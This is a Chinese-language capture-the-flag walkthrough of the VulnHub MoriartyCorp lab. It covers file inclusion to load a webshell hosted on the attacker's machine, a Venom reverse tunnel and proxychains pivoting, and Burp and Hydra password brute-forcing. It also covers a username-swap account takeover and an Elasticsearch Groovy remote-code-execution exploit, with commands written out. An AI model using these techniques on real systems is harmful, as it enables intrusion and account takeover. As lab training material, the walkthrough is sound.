VulnHub-MoriartyCorp

前言

  这是打靶训练的第三周。难度中等。这个靶机让我花费了大量时间配置ip地址,浪费了太多太多的时间。视频演示,靶机下载链接。

靶机配置

  ubuntu网络配置,先看看这篇文章,然后开启靶机,按e键选择下面选项
  
  将ro改为rw single init=/bin/bash后,重启靶机,再次进入GRUB界面,按回车选择上图的选项,即4.15.0-39-generic (recovery mode)。之后选择root那一行,回车进入。
  
  进入命令行后会提示输入密码,密码为root。输入vi /etc/netplan/50-cloud-init.yaml,按下图编辑网络信息
  
  保存退出后输入以下命令

dhclient ens33
ifconfig ens33 up
reboot # 重启

  
  重启靶机后,即可用nmap扫到ip,如果还扫不到,多次重启靶机。

注意事项

  1.http开启在8000端口,这是提交flag用的,请勿攻击
  2.flag文件名以 flag.txt存储,提交用flag{}此形式
  3.请勿直接关闭靶机,而是暂停vmware
  4.在提交flag的时候,webapp 在后台启动 docker 容器,关机会导致失效。

flag1

  如下图所示确实开放了8000端口
  
  根据前面的注意事项,http访问8000端口后,先让你熟悉一下flag的形式。提交flag{start}即可通过。
  

flag2

  来到第二关,提示80端口已开放
  
  再次扫描后,确认80端口已开放
  
  来到80端口上的网页,点击Blog Post 1后,观察url发现有/?file=。给我的第一感觉就是文件包含
  
  使用../../../../etc/passwd测试后,存在文件包含漏洞
  
  kali上开启apache服务后,将一句话木马放到web目录下,注意文件后缀名必须是.txt,而不是.php之类的。使用蚁剑连接
  
  在根目录下找到flag,提交flag{the_game_is_on}到下一关。
  

flag3

  让扫描内网主机ip段:172.17.0.3-254
  
  这里要使用内网代理工具Venom,kali使用./admin_linux_x64 -lport 8888,监听8888端口。
  
  然后将agent_linux_x64上传到靶机。使用./agent_linux_x64 -rhost 192.168.127.137 -rport 8888,连接kali上面的8888端口。
  
  kali这边开启socks5代理,监听1080端口。
  
  vi /etc/proxychains4.conf编辑socks配置文件,来到文件最后一行,socks 配置如图所示,让socks5走1080端口。
  
  配置完成后,就可以让nmap等工具走socks5代理,只需要在平常命令前面加proxychains即可。开始进行内网主机扫描
  
  发现172.17.0.4:80 主机,使用火狐配置socks5代理,ip地址和端口,一定要和前面的socks文件保持一致。
  
  可看到上传文件需要密码,所以我们先将三个地方都选择shell.php文件,密码处填写123456,使用burp来爆破。
  
  浏览器代理记得设置走burp,因为使用了socks5代理,所以burp的流量要走socks5。在User options -> Connections -> SOCK5 Proxy即可设置。
  
  爆破得到密码password,上传路径为./photo/21/shell.php
  
  接下来配置蚁剑的socks5代理
  
  测试成功后,连接上木马找到flag,flag{picture_is_worth_1000_words},提交进入下一关

flag4

  告诉了用md5加密后的密码和用户名,提示有台主机开放了ssh
  
  解密后的密码

root
toor
password
admin
guest
MORIARTY
MCORP
mcorp
weapons
moriarty

  将这些内容放进对应的user.txt和passwd.txt文件中
  
  再次使用nmap扫描开放22端口的主机proxychains nmap -p22 -sT -Pn 172.17.0.3-254
  
  发现172.17.0.5开放22端口,使用hydra进行爆破proxychains hydra -f -L user.txt -P passwd.txt 172.17.0.5 ssh
  
  登录后,同样在根目录找到flag,flag{what_weapons}
  

flag5

  有一台主机可能开放了443,8000,8080,8888端口,并提供了用户名buyer13,密码arms13
  
  继续用nmap,proxychains nmap -p443,8000,8080,8888 -sT -Pn 172.17.0.3-254
  
  扫了一万年,终于得到结果了,使用前面提供的账号登录上去后
  
  点击Chats,知道admin和buyer13两人之间的对话
  
  来到Change your password,输入密码123456
  
  burp抓包,将username=buyer13改为username=admin
  
  使用admin和123456重新登录网站,再次查看聊天记录得到flag,flag{on_the_move}
  

flag6

  得知有个服务器开启Elasticsearch服务
  
  而Elasticsearch有两个默认端口9200和9300
  9200 是ES节点与外部通讯使用的端口。它是http协议的RESTful接口。
  9300是ES节点之间通讯使用的端口。它是tcp通讯端口。
  老规矩nmap扫描后得到 172.17.0.7:9300
  
  也可以尝试访问一下172.17.0.7:9200,得到版本1.4.2。
  
  在1.3.8和1.4.3之前的 Elasticsearch Groovy存在远程命令执行。使用以下命令

searchsploit Elasticsearch
cp /usr/share/exploitdb/exploits/linux/remote/36337.py .
proxychains python2 36337.py 172.17.0.7

  如果使用exp出错,编辑vi /etc/proxychains4.conf,找到proxy_dns改为#proxy_dns,即可利用成功。
  
  得到最后的flag,flag{game_over},通关界面
  hydrr

查看评论 -
评论